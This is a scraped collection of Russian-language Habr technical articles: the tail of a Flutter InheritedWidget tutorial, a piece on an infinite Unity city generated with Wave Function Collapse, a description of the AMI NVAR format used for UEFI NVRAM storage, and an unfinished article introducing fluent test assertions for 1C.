Этот контекст — просто класс Dart. Таким образом, он может содержать все, что вы захотите туда запихнуть. Многие из часто используемых контекстов Flutter, такие как `[Style](https://docs.flutter.io/flutter/widgets/DefaultTextStyle-class.html)` или `[MediaQuery](https://docs.flutter.io/flutter/widgets/MediaQuery-class.html)`, представляют собой ни что иное, как InheritedWidget-ы, живущие на уровне `MaterialApp`.
Если дополнить вышеприведенный пример, используя InheritedWidget, вот что мы получим:
```
class MyInheritedWidget extends InheritedWidget {
final int accountId;
final int scopeId;
MyInheritedWidget(accountId, scopeId, child): super(child);
@override
bool updateShouldNotify(MyInheritedWidget old) =>
accountId != old.accountId || scopeId != old.scopeId;
}
class MyPage extends StatelessWidget {
final int accountId;
final int scopeId;
MyPage(this.accountId, this.scopeId);
Widget build(BuildContext context) {
return new MyInheritedWidget(
accountId,
scopeId,
const MyWidget(),
);
}
}
class MyWidget extends StatelessWidget {
const MyWidget();
Widget build(BuildContext context) {
// где-нибудь недалеко в коде
const MyOtherWidget();
...
}
}
class MyOtherWidget extends StatelessWidget {
const MyOtherWidget();
Widget build(BuildContext context) {
final myInheritedWidget = MyInheritedWidget.of(context);
print(myInheritedWidget.scopeId);
print(myInheritedWidget.accountId);
...
```
**Важно отметить:**
* Конструкторы теперь `const`, что делает эти виджеты кэшируемыми; что увеличивает производительность.
* Когда параметры обновляются, создается новый `MyInheritedWidget`. Однако, в отличие от первого примера, поддерево не перестраивается. Вместо этого Flutter ведет внутренний реестр, который отслеживает виджеты, которые обращались к этому `InheritedWidget`-у, и перестраивает только те виджеты, которые используют этот контекст. В этом примере это `MyOtherWidget`.
* Если дерево перестраивается по причине, не связанной с изменением параметров, такими как изменение ориентации, ваш код все равно может построить новый `InheritedWidget`. Однако, поскольку параметры остались прежними, виджеты в поддереве не будут уведомлены. Это цель функции `updateShouldNotify`, реализованной вашим `InheritedWidget`.
Наконец, давайте поговорим о хороших практиках.
#### InheritedWidget должен быть небольшой
Перегрузка их большим количеством контекста приводит к потере второго и третьего преимуществ, упомянутых выше, поскольку Flutter не может определить, какая часть контекста обновляется, а какая часть используется виджетами. Вместо:
```
class MyAppContext {
int teamId;
String teamName;
int studentId;
String studentName;
int classId;
...
}
```
Предпочитайте делать:
```
class TeamContext {
int teamId;
String teamName;
}
class StudentContext {
int studentId;
String studentName;
}
class ClassContext {
int classId;
...
}
```
### Используйте const для создания ваших виджетов
Без const выборочное перестроение поддерева не происходит. Flutter создает *новый* экземпляр каждого виджета в поддереве и вызывает `build()`, тратя впустую драгоценные циклы, особенно если ваши методы сборки достаточно тяжелы.
### Следите за областью видимости ваших `InheritedWidget`-ов
`InheritedWidget`-ы помещаются в корень дерева виджетов. Это, по сути, и определяет их область видимости. В нашей команде мы обнаружили, что возможность объявлять контекст в *любом месте* дерева виджетов это уже чересчур. Мы решили ограничить наши контекстные виджеты, чтобы они принимали только `Scaffold` (или его производные) в качестве дочерних элементов. Таким образом, мы гарантируем, что наиболее детализированный контекст может быть на уровне страницы, и получаем две области видимости:
* Виджеты уровня приложения, такие как `MediaQuery`. Они доступны для *любого* виджета на любой странице вашего приложения, так как они находятся в корне дерева виджетов вашего приложения.
* Виджеты уровня страницы, такие как `MyInheritedWidget` в приведенном выше примере.
Вы должны выбирать одну или другую в зависимости от того, где применим контекст.
### Виджеты уровня страницы не могут преодолевать границу маршрута
Это кажется очевидным. Однако это имеет серьезные последствия, потому что большинство приложений имеют более одного уровня навигации. Вот как могло бы выглядеть ваше приложение:
```
> School App [App Context]
> Student [Student Context]
> Grades
> Bio
> Teacher [Teacher Context]
> Courses
> Bio
```
Вот что видит Flutter:
```
> School App [App Context]
> Student [Student Context]
> Student Grades
> Student Bio
> Teacher [Teacher Context]
> Teacher Courses
> Teacher Bio
```
С точки зрения Flutter иерархии навигации не существует. Каждая страница (или scaffold) представляет собой дерево виджетов, привязанное к виджету приложения. Следовательно, когда вы используете `Navigator.push` для отображения этих страниц, они не *наследуют* виджет, несущий родительский контекст. В приведенном выше примере, вам нужно будет в явном виде передавать контекст `Student` из страницы Student в страницу Student Bio.
Хотя существуют разные способы передачи контекста, я предлагаю параметризовать маршруты старомодным способом (например, URL кодированием, если вы используете именованные маршруты). Это также гарантирует, что страницы могут быть построены исключительно на основе маршрута без необходимости использовать контекст их родительской страницы.
Удачного вам кодинга!
*[Успеть на курс!](https://otus.pw/FVWs/)* | https://habr.com/ru/post/521032/ | null | ru | null |
# Unity: бесконечный процедурно генерируемый город, получаемый при помощи алгоритма WFC (коллапс волновой функции)
Привет, Хабр!
Как [законодатели мод](https://www.piter.com/product_by_id/129958293) по [теме](https://www.piter.com/product_by_id/119628905) [Unity](https://www.piter.com/product_by_id/103057273) на российском рынке предлагаем вам почитать интересное исследование о практическом использовании алгоритма WFC (Wave Function Collapse), построенного по образу и подобию известного принципа квантовой механики и очень удобного при процедурной генерации уровней в играх. Ранее на Хабре уже публиковался [подробный рассказ](https://habr.com/ru/post/437604/) об этом алгоритме. Автор сегодняшней статьи Мариан Кляйнеберг рассматривает алгоритм в контексте трехмерной графики и генерации бесконечного города. Приятного чтения!
Мы поговорим об игре, где вы идете по бесконечному городу, который процедурно генерируется по мере вашего движения. Город строится из набора блоков при помощи алгоритма WFC (коллапс волновой функции).
Играбельная сборка доступна для скачивания на сайте [itch.io](https://marian42.itch.io/wfc). Также можете взять [исходный код на github](https://github.com/marian42/wavefunctioncollapse). Наконец, я предлагаю [видео](http://www.youtube.com/embed/-W7zt8181Zo), в котором иду по сгенерированому таким образом городу.
### Алгоритм
Я буду называть словом “ячейка” такой элемент 3D-воксельной сетки, который может содержать блок или пустовать. Словом «модуль» я буду называть блок, который может занимать такую ячейку.
Алгоритм решает, какие модули подбирать в каждую ячейку игрового мира. Массив ячеек считается волновой функцией в ненаблюдаемом виде. Таким образом, каждой ячейке соответствует множество модулей, которые могут в ней оказаться. В терминах квантовой механики можно было бы сказать, «ячейка находится в суперпозиции всех модулей». Существование мира начинается в полностью ненаблюдаемом виде, где в каждой ячейке может находиться любой модуль. Далее все ячейки схлопываются, одна за другой. Это означает, что для каждой ячейки случайным образом выбирается по одному модулю из всех возможных.
Далее следует этап распространения ограничений (constraint propagation). Для каждого модуля подбирается такое подмножество модулей, которым разрешено быть смежными с ним. Всякий раз при схлопывании модуля обновляются подмножества других модулей, которые по-прежнему допускаются в качестве смежных ему. Этап распространения ограничений – самая ресурсозатратная часть алгоритма с точки зрения вычислительной мощности.
Важный аспект алгоритма заключается в определении того, какую ячейку схлопнуть. Алгоритм всегда схлопывает ячейку с [наименьшей энтропией](https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D1%8D%D0%BD%D1%82%D1%80%D0%BE%D0%BF%D0%B8%D1%8F). Это ячейка, допускающая минимальное количество вариантов выбора (то есть, ячейка с наименьшей хаотичностью). Если у всех модулей вероятность схлопывания одинакова, то наименьшая энтропия будет у той ячейки, которой соответствует минимальное количество возможных модулей. Как правило, вероятности попасть под выбор для разных наличествующих модулей отличаются. Ячейка с двумя возможными модулями, имеющими одинаковую вероятность, предусматривает более широкий выбор (большую энтропию), чем та, в которой два модуля, и для одного из них вероятность попасть под выбор очень велика, а для другого – очень мала.
(Гифка помещена [ExUtumno](https://github.com/mxgmn) на Github)
Более подробную информацию об алгоритме коллапса волновой функции, а также ряд красивых примеров можно посмотреть здесь. Изначально этот алгоритм был предложен для генерации 2D-текстур на основе единственного образца. В таком случае вероятностные показатели модулей и правила смежности определяются в зависимости от их встречаемости в примере. В данной статье эта информация предоставляется вручную.
Вот [видео](https://marian42.de/article/wfc/wfc.mp4), демонстрирующее этот алгоритм в действии.
### О блоках, прототипах и модулях
Мир генерируется из набора, в котором около 100 блоков. Я создал их при помощи Blender. Сначала блоков у меня было совсем немного, и я понемногу добавлял их, когда считал это нужным.
Алгоритму необходимо знать, какие модули могут располагаться рядом друг с другом. Для каждого модуля существует 6 списков возможных соседей, по одному в каждом из направлений. Однако, я хотел избежать необходимости создавать такой список вручную. Кроме того, я хотел автоматически генерировать повернутые варианты для каждого из моих блоков.
Обе эти задачи решаемы при помощи так называемых прототипов модулей. В сущности, это `MonoBehaviour`, с которым удобно работать в редакторе Unity. Модули вместе со списками допустимых соседних элементов и повернутыми вариантами автоматически создаются на основе таких прототипов.
Сложная проблема возникла с моделированием информации о смежности, так, чтобы этот автоматический процесс работал. Вот что у меня получилось:
У каждого блока по 6 контактов, по одному на каждую грань. У контакта есть номер. Кроме того, горизонтальные контакты могут быть перевернуты, неперевернуты или симметричны. Вертикальные контакты либо имеют индекс вращения в диапазоне от 0 до 3, либо помечаются как *вращательно инвариантные*.
Исходя из этого, я могу автоматически проверять, каким модулям разрешено прилегать друг к другу. У смежных модулей должны быть одинаковые номера контактов. Также должна совпадать их симметрия (одинаковый индекс вращения по вертикали, пара из перевернутого и непервернутого контакта по горизонтали), либо модули должны быть симметричны/инвариантны.
Существуют правила исключения, при помощи которых я могу запрещать варианты соседства, которые по умолчанию были бы разрешены. Некоторые блоки с подходящими друг к другу контактами попросту некрасиво выглядят рядом. Вот пример карты, сгенерированной без применения правил исключения:
### Путь к бесконечности
Исходные алгоритм коллапса волновой функции генерирует карты конечного размера. Я же хотел построить мир, который будет все расширяться и расширяться по мере того, как вы по нему двигаетесь.
Сначала я попробовал генерировать фрагменты конечного размера и пользоваться контактами смежных фрагментов как ограничениями. Если фрагмент сгенерирован, а смежный ему фрагмент также сгенерирован, то допускаются лишь такие модули, которые укладываются рядом с имеющимися модулями. С данным подходом возникает такая проблема: всякий раз при схлопывании ячейки распространение ограничений будет урезать возможности даже на расстоянии в несколько ячеек. На следующем изображении заметны последствия схлопывания единственной ячейки:
Если на каждом шаге алгоритма генерировать всего один фрагмент, то ограничения не распространяются на смежные с ним фрагменты. В таком случае внутри фрагмента выбирались такие модули, которые оказались бы недопустимы, если принимать во внимание другие фрагменты. В результате, когда алгоритм пытался сгенерировать следующий фрагмент, он мог не найти ни одного решения.
Теперь я уже не использую фрагменты, а храню карту в словаре, отображающем позицию ячейки на ячейку. Ячейка заполняется, только если это необходимо. Некоторые элементы алгоритма следует откорректировать с учетом этого момента. При выборе ячейки, которая должна схлопнуться, невозможно учесть все ячейки, если количество их бесконечно. Вместо этого мы единовременно генерируем лишь небольшой участок карты, как только игрок его достигнет. Вне этой области продолжают распространяться ограничения.
В некоторых случаях данный подход не работает. Рассмотрим набор модулей для прямолинейного участка туннеля с показанного выше рисунка – входа в туннель там нет. Если алгоритм выберет такой туннельный модуль, то туннель по определению получится бесконечным. На этапе распространения ограничений программа попытается выделить бесконечное количество ячеек. Я разработал специальный набор модулей, чтобы обойти эту проблему.
### Граничные условия
Здесь существуют два важных граничных условия. Все грани на верхнем уровне карты должны иметь «воздушные» контакты. Все грани на основании карты должны иметь «твердые» контакты. Если эти условия не выполняются, то на карте будут лунки в земле, а некоторые здания окажутся без крыши.
На карте конечного размера эта задача решалась бы легко. Для всех ячеек на самом верхнем и самом нижнем уровне потребовалось бы удалить все модули с неподходящими контактами. Затем запустить распространение ограничений и удалить остальные модули, которые нам больше не подходят.
На карте бесконечного размера подобное не сработает, поскольку как на самом верхнем, так и на самом нижнем уровне у нас бесконечное количество ячеек. Наиболее наивное решение – удалять все неподходящие ячейки сразу по мере их возникновения. Однако, при удалении модуля на верхнем уровне срабатывают ограничения, касающиеся тех ячеек, что к нему прилегали. Возникает лавинообразный эффект, вновь приводящий к бесконечному выделению ячеек.
Я решил эту проблему, создав карту размером 1×n×1, где n — высота. Данная карта использует закольцовывание мира (world wrapping) для распространения ограничений. Механизм работает как в игре Pacman: выходя за правый край карты, персонаж возвращается на нее из-за левого края. Теперь я могу применять на моей карте распространение любых ограничений. Всякий раз при создании новой ячейки на бесконечной карте, эта ячейка инициализируется с набором модулей, соответствующим конкретной позиции на карте.
### Состояния ошибок и поиск с возвратом
Иногда алгоритм WFC достигает такого состояния, в котором ячейке не соответствует ни одного возможного модуля. В приложениях, где мы имеем дело с миром конечного размера, можно попросту сбросить результат и начать все сначала. В бесконечном мире это не сработает, так как часть мира уже показана игроку. Сначала я остановился на решении, в котором места возникновения ошибок заполнялись белыми блоками.
В настоящее время я использую поиск с возвратом. Порядок схлопывания ячеек и некоторая информация о распространении ограничений хранится в виде истории. Если алгоритм WFC отказывает, то часть истории отменяется. Как правило, это работает, но иногда ошибки удается распознать слишком поздно, и поиск с возвратом охватывает очень много шагов. В редких случаях та ячейка, в которой находится игрок, регенерируется.
На мой взгляд, из-за такого ограничения применение алгоритма WFC с бесконечными мирами не подходит для коммерческих игр.
### Предыстория
Я взялся за проработку этой задачи после того, как посмотрел [лекцию Оскара Стельберга](https://www.youtube.com/watch?v=0bcZb-SsnrA), рассказывающего, как он использует алгоритм для генерации уровней в игре Bad North. В общих чертах мой алгоритм был реализован во время недели [procjam](http://www.procjam.com).
У меня есть некоторые идеи о дальнейшей доработке этого алгоритма, но я не уверен, что когда-нибудь соберусь добавить к нему геймплей. А если и соберусь – наверняка это будет не такая эпичная стратегия, которую вы себе уже вообразили. Однако, если вы хотите проверить, как работает с этим алгоритмом ваша любимая игровая механика – просто попробуйте сами! В конце концов, исходный код выложен в открытом доступе и лицензирован MIT. | https://habr.com/ru/post/455004/ | null | ru | null |
# Устройство NVRAM в UEFI-совместимых прошивках, часть четвертая
И снова здравствуйте, уважаемые читатели.
Начатый в [предыдущих](https://habrahabr.ru/post/281242/) [трех](https://habrahabr.ru/post/281412/) [частях](https://habrahabr.ru/post/281469/) разговор о форматах хранилищ NVRAM, используемых различными реализациями UEFI, подходит к своему логическому концу. Нерассмотренным остался только один формат — NVAR, который используется в прошивках на основе кодовой базы AMI Aptio. Компания AMI в свое время смогла «оседлать» практически весь рынок прошивок для десктопных и серверных материнских плат, поэтому формат NVAR оказался чуть ли не распространённее, чем оригинальный и «стандартный» VSS.
Если вам интересно, чем хорош и чем плох формат хранилища NVRAM от AMI — добро пожаловать под кат.
#### **Отказ от ответственности №4**
Повторение — ~~мать заикания~~ основа запоминания, поэтому автор не оставляет попыток убедить читателя в том, что ковыряние в прошивке — дело опасное, и до любых изменений следует сделать резервную копию на программаторе, чтобы потом не было мучительно больно за бесцельно потраченные на восстановление работоспособности системы пару дней (или недель). Автор по-прежнему не несет ответственности ни за что, кроме очепяток, сведения о которых можно присылать в Л/С, вы используете эти полученные реверс-инженирингом знания на свой страх и риск.
#### **AMI NVAR**
Ну вот, наконец удалось добраться до последнего в моем списке формата хранилища NVRAM, которого я буду называть NVAR по используемой в его в заголовке сигнатуре. В отличие от всех остальных форматов, описанных в предыдущих частях, данные в формате NVAR хранятся не в томе с GUID *FFF12B8D-7696-4C8B-A985-2747075B4F50* (EFI\_SYSTEM\_NV\_DATA\_FV\_GUID), а в обычном FFS-файле с GUID *CEF5B9A3-476D-497F-9FDC-E98143E0422C* (NVAR\_STORE\_FILE\_GUID) либо *9221315B-30BB-46B5-813E-1B1BF4712BD3* (NVAR\_EXTERNAL\_DEFAULTS\_FILE\_GUID).
Файл с первым GUID хранится в отдельном томе, специально предназначенном для NVRAM, чаще всего таких томов два — основной и резервный, и если с данными или форматом основного что-то происходит, и драйвер NVRAM может определить это, то он переключается на использование резервного хранилища. Иногда резервное хранилище заполняется еще на этапе сборки прошивки, но чаще под него просто оставляется место, и оно создается при первом запуске (поэтому первый запуск после обновления прошивки может быть довольно долгим). Второй файл хранится в томе DXE, имеет несколько другой, зависящий от конкретной платформы, формат и используется для восстановления «умолчаний» некоторых переменных в случае, если и основное, и дополнительно хранилища повреждены невосстановимо.
Так как данные в формате NVAR хранятся внутри файла, информация о максимальном размере хранилища и о том, где его найти, уже доступна прошивке благодаря сервисам UEFI FFS, поэтому каких либо дополнительных заголовков разработчики AMI выдумывать не стали, и сразу же после заголовка, с максимальной упаковкой и без выравнивания, начинаются записи NVAR.
Заголовок такой записи выглядит так:
```
struct NVAR_ENTRY_HEADER {
UINT32 Signature; // Сигнатура NVAR
UINT16 Size; // Размер записи вместе с заголовком
UINT32 Next : 24; // Смещение следующего элемента в списке,
// либо специально значение (0 либо 0xFFFFFF в зависимости ErasePolarity)
UINT32 Attributes : 8; // Атрибуты записи
};
```
Он же на скриншоте:
На вид пока все очень просто, сначала правильная сигнатура — NVAR, затем размер записи — 0x5D3, пустое поле Next, атрибуты — 0x83, непонятное восьмибитное поле — 0x00 и имя переменной в кодировке ASCII — *StdDefaults*.
Оказывается, что формат данных данных сильно зависит от битов поля *Attributes*, которое можно представить в таком виде:
```
enum NVAR_ENTRY_ATTRIBUTES {
RuntimeVariable = 0x01, // Переменная, которая хранится в этой (или одной из следующих за ней по списку) записи, имеет атрибут RT
AsciiName = 0x02, // Имя переменной хранится в ASCII вместо UCS2
LocalGuid = 0x04, // GUID переменной хранится в самой записи, иначе в ней хранится только индекс в базе данных GUIDов
DataOnly = 0x08, // В записи хранятся только данные, такая запись не может быть первой в списке
ExtendedHeader = 0x10, // Присутствует расширенный заголовок, который находится в конце записи
HwErrorRecord = 0x20, // Переменная, которая хранится в этой (или одной из следующих за ней по списку) записи, имеет атрибут HW
AuthWrite = 0x40, // Переменная, которая хранится в этой (или одной из следующих за ней по списку) записи,
// имеет атрибут AV и/или TA
EntryValid = 0x80 // Запись валидна, если этот бит не установлен, запись должна быть пропущена
};
```
Таким образом, наши атрибуты 0x83 — это на самом деле *EntryValid* + *AsciiName* + *RuntimeVariable*, а непонятное до этого восьмибитное поле — это индекс в базе данных GUID'ов. Замечу также, что длина имени нигде не хранится, и для того, чтобы найти начало данных, нужно каждый раз вызывать *strlen()*. Если бы был установлен атрибут LocalGuid, вместо индекса на 1 байт присутствовал бы весь GUID на 16. Получается, что в базе данных GUIDов (открою секрет, она находится в самом конце файла и растет вверх, т.е. наш нулевой GUID — последние 16 байт файла с хранилищем NVRAM, первый — предпоследние 16 байт и так далее) может храниться не более 256 различных GUIDов, но этого достаточно для любых возможных применений NVRAM на данный момент, а места экономит прилично.
То же самое из окна [UEFITool NE](https://github.com/LongSoft/UEFITool/tree/new_engine):
По значениям атрибутов видно, как формат развивался с течением времени. До стандарта UEFI 2.1 у переменных NVRAM было всего 3 возможных атрибута: NV, BS, RT. Атрибут NV хранить бессмысленно, т.к. только такие переменные в хранилище NVRAM и попадают, а BS и RT не являются взаимоисключающими и у «здоровой» переменой могут быть либо только BS, либо BS + RT, поэтому для этих атрибутов использовался только один бит — *RuntimeVariable*. Отлично, получилось сэкономить целых 24 бита на переменную.
Затем оказалось, что физический уровень NVRAM не всегда надежен, и надо бы считать контрольную сумму от данных, чтобы отличать поврежденные переменные от нормальных, поэтому завели бит *ExtendedHeader*, а контрольную сумму стали хранить в самом конце записи, после данных.
Прошло немного времени, и под давлением Microsoft в UEFI 2.1 был добавлен еще один атрибут — HW, используемый для переменных [WHEA](https://msdn.microsoft.com/en-us/library/windows/hardware/ff559331(v=vs.85).aspx). Ладно, под него завели бит *HwErrorRecord*, надо так надо.
Потом в UEFI 2.3.1C неожиданно добавили SecureBoot вместе с двумя новыми атрибутами для переменных — AV и AW. К счастью, хранить последний не очень нужно (т.к. такая переменная всего одна, *dbx*), а под первый пришлось выделить последний свободный бит *AuthWrite*.
Радоваться получилось совсем недолго, уже в UEFI 2.4 добавили еще один атрибут — TA, который, внезапно, оказалось некуда совать, т.к. в свое время сэкономили целых 24 бита. В итоге пришлось заводить дополнительное поле в расширенном заголовке, который хранится после данных. Там же пришлось хранить временную метку и хэш для AV/TA-переменных.
После всех этих доработок, расширенный заголовок получился вот таким:
```
struct NVAR_EXTENDED_HEADER {
UINT8 ExtendedAttributes; // Атрибуты расширенного заголовка
// UINT64 TimeStamp; // Присутствует, если ExtendedAttributes | ExtTimeBased (0x20)
// UINT8 Sha256Hash[32]; // Присутствует, если ExtendedAttributes | ExtAuthWrite (0x10)
// или ExtendedAttributes | ExtTimeBased (0x20)
// UINT8 Checksum; // Присутствует, если ExtendedAttributes | ExtChecksum (0x01)
UINT16 ExtendedDataSize; // Размер заголовка без поля ExtendedAttributes
};
```
Он же на скриншоте:
Итого, размер расширенного заголовка — 0x2C, контрольная сумма — 0x10, нулевой хэш, временная метка — 0x5537BB5D и атрибуты — 0x21 (*ExtChecksum* + *ExtTimeBased*).
Получается так, что чтобы получить значение атрибутов для какой-либо переменной, её нужно разбирать всю целиком, вычисляя смещения динамически и собирая значения из нескольких разных мест в файле. И все это ровно потому, что когда-то давно сэкономили целых 24 байта. Будете разрабатывать свой формат — не экономьте на спичках, сделайте одолжение самому себе из будущего!
Но и это еще не все, ведь у нас остались не рассмотренными атрибут *DataOnly* и поле *Next* в заголовке. Используются они для того, чтобы сэкономить на GUID, имени и атрибутах, если переменная, в которую осуществляется запись, уже существует. Вместо того, чтобы снять со старой записи атрибут *EntryValid* и записать новую целиком, в заголовке старой записи заполняется поле Next, а в свободном месте файла создается запись с атрибутом *DataOnly*, на которую этот самый *Next* и ссылается, причем там уже нет ни GUID'а, ни имени, но зато присутствует расширенный заголовок. Более того, когда значение переменной переписывается в следующий раз, поле *Next* исправляется не в первой записи в этом своеобразном односвязном списке, а в последней, удлиняя список. А т.к. существуют переменные, которые обновляются при каждой перезагрузке (да тот же *MonotonicCounter*), очень скоро NVRAM наполняется копиями данных этой переменной до краев, а доступ к ней замедляется с каждой перезагрузкой, пока не окажется, что места нет вообще, и драйверу NVRAM нужно выполнять сборку мусора. Зачем так сделано — еще одна великая тайна, я не могу придумать уважительной причины такому поведению.
В UEFITool NE пришлось добавить действие *Go to data*, которое работает на переменных типа *Link* (т.е. таких, у которых поле *Next* не пустое) и выбирает последний элемент в односвязном списке, в котором хранятся нынешние данные переменной, а не те, что были там черт знает когда до этого:
Доступ к переменным NVRAM работает *вот так* на 95% десктопов и серверов последних 5 лет. Посмотрите, уважаемые читатели, до чего доводит экономия на байтах и обвешивание старого формата новыми костылями в отчаянной попытке не переписывать драйвер NVRAM заново, и не делайте так, пожалуйста.
#### **Заключение**
Я не знаю, что цензурного сказать о формате NVAR. В погоне за компактностью AMI умудрились пожертвовать всем остальным, и если поначалу казалось, что жертва эта была небольшой и незаметной, с развитием спецификации UEFI формат превратился в местный аналог [Abomination](http://wowwiki.wikia.com/wiki/Abomination_(Warcraft_III))'а, собранного из кусков непонятно чего, сшитых непонятно как. Нам всем повезло, что драйвер NVRAM у AMI достаточно хорош, чтобы вовремя и незаметно убирать в хранилище мусор, переключаться на резервное хранилище при повреждении основного, стартовать с разрушенным NVRAM, переживать запись «под самую крышку» и т.п., но достигнуто это все скорее не благодаря, а вопреки.
История с форматами NVRAM, надеюсь, подошла к концу, теперь вы знаете о них почти столько же, сколько и я сам. Спасибо большое за внимание, удачных вам прошивок, чипов и NVRAM'ов. | https://habr.com/ru/post/281901/ | null | ru | null |
# Юнит-тесты, BDD и сила текучих утверждений (fluent assertions) в 1С
#### Немного истории
Благодаря классному дядьке Кенту Беку (Kent Beck) родилась замечательная методология test-driven development. Не смотря на необычность подхода, переворачивающего привычный процесс написания кода с ног на голову (тест на функционал создается до реализации), сейчас уже можно сказать, что разработка через тестирование стала стандартом де-факто. Практически в любых вакансиях фигурирует требование к знанию и опыту использования методики TDD и соответствующих инструментов. Почему, казалось бы, ломающая привычную парадигму мышления методология прижилась и стандартизировалась? Потому что “Жизнь слишком коротка для ручного тестирования”, а писать авто-тесты на существующий код иногда просто не возможно, ведь код, написанный в обычной парадигме, как правило совершенно тесто-не-пригодный.
Стоит отметить, что за время своего существования методология успела обзавестись ответвлением (fork) в виде BDD. Дэн Норт (Dan North) в своей статье ([Introducing BDD](http://dannorth.net/introducing-bdd/)) указал на сложности внедрения TDD среди разработчиков и для решения обозначенных проблем предложил практику, которая называется behaviour-driven development. Основной фишкой BDD можно назвать микс из TDD и DDD, которая в начале выражалась в правильном именовании тестовых методов (названия тестовых методов должны быть предложениями). Апогеем BDD, на текущий момент, можно считать рождение языка Gherkin и инструментария, который его использует (Cucumber, RSpec и т.п.).
#### К чему я веду и при чем тут 1С?
В мире 1С TDD только только начинает набирать популярность. Я еще не видел вакансий разработчиков 1С с требованием знания TDD. Стоит признать, что существенным препятствием является отсутствие в ядре платформы 1С инструментов для написания тестов до кода.
Так что же у нас есть на текущий момент для разработки через тестирование в мире 1С?
* [xUnitFor1C](https://github.com/xDrivenDevelopment/xUnitFor1C) — вполне себе зрелый проект, позволюящий разрабатывать в стиле TDD.
* [Vanessa-behavoir](https://github.com/silverbulleters/vanessa-behavoir) — спецификации на языке Gherkin и т.п., пока что не в релизном состоянии.
А теперь вопрос, который должен возникать у любого уважающего себя члена общества: “Как лично я могу помочь… (в моем случае — миру 1С разработки перейти на передовые методологии)?”.
Прежде чем ответить на этот вопрос, я хочу коснуться темы хорошо написанных утверждений в тестах. Утверждения обозначают ожидаемое поведение нашего кода. Одного взгляда на утверждения должно быть достаточно, чтобы понять, какое поведение тест пытается до нас донести. К сожалению, классические утверждения не позволяют этого достичь. Зачастую нам приходится долго вчитываться и расшифровывать замысел автора теста.
К счастью, в последнее время появилась тенденция к применению текучих интерфейсов (fluent interface), что очень положительно сказывается на наглядности и интуитивной понятности кода. Инструментарий для тестирования так же не остался в стороне.оявились текучие утверждения, называемые так же утверждениями в стиле BDD. Они позволяют формулировать утверждения в более естественной, удобной и выразительной манере.
Впервые я столкнулся с подобным подходом в NUnit в модели утверждений на основе ограничений ([Constraint-Based Assert Model](http://www.nunit.org/index.php?p=constraintModel&r=2.6.4)).
Много позже я познакомился со связкой [mocha.js](http://mochajs.org/) + [chai.js](http://chaijs.com/api/bdd/), которая у меня вызвала полнейший восторг.
Так вот, мой ответ на вопрос “Как лично я могу помочь миру 1С разработки перейти на передовые методологии?” — текучие утверждения… для начала.
#### Разработка текучих утверждений для платформы 1С
Как заправский разработчик через тестирование, я начал разработку с теста. Первый тестовый метод содержал всего 1 строку:
```
Ожидаем.Что(5).Равно(5);
```
Реализация оказалась на удивление простой. Переменная Ожидаем содержит объект ВнешняяОбработка (далее объект-утверждения), у этого объекта есть экспортные методы:
* Что(ПроверяемоеЗначение) — сохраняет в контексте объекта-утверждения проверяемое значение;
* Равно(ОжидаемоеЗначение) — проверяет на равенство ранее сохраненное значение с переданным ожидаемым значением. В случае неравенства выбрасывается исключение с описанием ошибки утверждения.
Каждый метод возвращает тот же самый объект-утверждения.
Следующим шагом, сигнатура метода Что была расширена необязательным параметром Сообщение, которое делает выбрасываемые утверждениями исключения более информативными.
Далее я задумался над тем, что делать с утверждением НеРавно. Должно ли быть такое утверждение? В классических утверждениях так и есть, почти каждое утверждение имеет своего антипода (Равно/НеРавно, Заполнено/НеЗаполнено и т.д.). Но только не в текучих утверждениях! Так родился тест №2:
```
Ожидаем.Что(5).Не.Равно(7);
```
Выглядит красиво, но не реализуемо на языке 1С. Еще попытка:
```
Ожидаем.Что(5).Не().Равно(7);
```
По прежнему красиво и казалось бы реализуемо. Нужно всего лишь взвести флаг отрицания в контексте объекта-утверждения, и затем любое следующее по цепи утверждение проверять с учетом этого флага. По сути нужен был XOR, на языке 1С это выглядит вот так:
```
РезультатУтверждения = ФлагОтрицания <> ЛогическоеВыражениеУтверждения;
```
Но платформа отказалась компилировать объект с методом Не(). Дело в том, что *Не* — зарезервированное слово, ограничение на его использование распространяется в т.ч. и на имя метода. Мозговой штурм с коллегами не позволили красиво обойти эту проблему, поэтому финальный вариант с отрицанием выглядит так:
```
Ожидаем.Что(5).Не_().Равно(7);
```
Если кто-то предложит лучшее решение обозначенной проблемы, я буду очень признателен. Вариант замены русских букв на латиницу не предлагать!
#### В итоге родился следующий API
*Что(ПроверяемоеЗначение, Сообщение = "")* — сохраняет в контексте внешней обработки проверяемое значение и дополнительное сообщение для исключений выбрасываемых утверждениями.
*Не\_()* — отрицает любое утверждение следующее по цепи.
*ЭтоИстина()* — утверждает, что проверяемое значение является Истиной.
*ЭтоЛожь()* — утверждает, что проверяемое значение является Ложью.
*Равно(ОжидаемоеЗначение)* — утверждает, что проверяемое значение равно ожидаемому.
*Больше(МеньшееЗначение)* — утверждает, что проверяемое значение больше, чем переданное в утверждение.
*БольшеИлиРавно(МеньшееИлиРавноеЗначение) / Минимум(МинимальноеЗначение)* — утверждает, что проверяемое значение больше или равно переданному в утверждение.
*МеньшеИлиРавно(БольшееИлиРавноеЗначение) / Максимум(МаксимальноеЗначение)* — утверждает, что проверяемое значение меньше или равно переданному в утверждение.
*Меньше(БольшееЗначение)* — утверждает, что проверяемое значение меньше, чем переданное в утверждение.
*Заполнено()* — утверждает, что проверяемое значение отличается от значения по умолчанию того же типа.
*Существует()* — утверждает, что проверяемое значение не Null и не Неопределено.
*ЭтоНеопределено()* — утверждает, что проверяемое значение это Неопределено.
*ЭтоNull()* — утверждает, что проверяемое значение это Null.
*ИмеетТип(Тип)* — утверждает, что проверяемое значение имеет переданный в утверждение тип или имя типа.
*Между(НачальноеЗначение, КонечноеЗначение)* — утверждает, что проверяемое значение находится между переданными в утверждение значениями.
*Содержит(ИскомоеЗначение)* — утверждает, что проверяемое значение содержит переданное в утверждение. Применяется для строк и коллекций.
*ИмеетДлину(ОжидаемаяДлина)* — утверджает, что проверяемое значение имеет длину переданную в утверждение. Применяется для строк и коллекций.
#### Примеры использования
```
Ожидаем.Что(1 > 0).ЭтоИстина();
Ожидаем.Что(13 = 2).Не_().ЭтоИстина();
Ожидаем.Что(5 = 7).ЭтоЛожь();
Ожидаем.Что(5).Равно(5);
Ожидаем.Что(4).Больше(2);
Ожидаем.Что(7).БольшеИлиРавно(7);
Ожидаем.Что(НекийМассив.Количество()).Минимум(9);
Ожидаем.Что(90).МеньшеИлиРавно(100);
